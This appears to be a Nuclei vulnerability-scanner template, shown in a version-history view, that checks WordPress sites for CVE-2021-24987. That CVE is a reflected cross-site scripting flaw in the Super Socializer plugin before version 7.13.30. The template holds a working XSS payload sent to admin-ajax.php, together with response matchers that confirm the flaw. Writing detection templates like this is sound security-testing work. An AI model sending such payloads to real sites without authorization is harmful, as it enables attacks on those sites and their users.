nuclei-templates/cves/2021/CVE-2021-24987.yaml

33 lines
1.0 KiB
YAML
Raw Normal View History

2022-04-15 13:50:49 +00:00
id: CVE-2021-24987
info:
name: Super Socializer < 7.13.30 - Reflected Cross-Site Scripting
author: Akincibor
severity: medium
description: The plugin does not sanitise and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue.
2022-04-15 14:40:28 +00:00
reference:
- https://wpscan.com/vulnerability/a14b668f-812f-46ee-827e-0996b378f7f0
- https://nvd.nist.gov/vuln/detail/CVE-2021-24987
tags: xss,wp,wp-plugin,wordpress,cve,cve2021
2022-04-15 13:50:49 +00:00
requests:
- method: GET
path:
2022-04-15 14:40:28 +00:00
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)>'
2022-04-15 13:50:49 +00:00
matchers-condition: and
matchers:
- type: word
part: body
2022-04-15 14:40:28 +00:00
words:
- '{"facebook_urls":[["<img src=x onerror=alert(document.domain)>"]]'
2022-04-15 13:50:49 +00:00
- type: word
2022-04-15 14:40:28 +00:00
part: header
2022-04-15 13:50:49 +00:00
words:
- "text/html"
2022-04-15 14:40:28 +00:00
- type: status
status:
- 200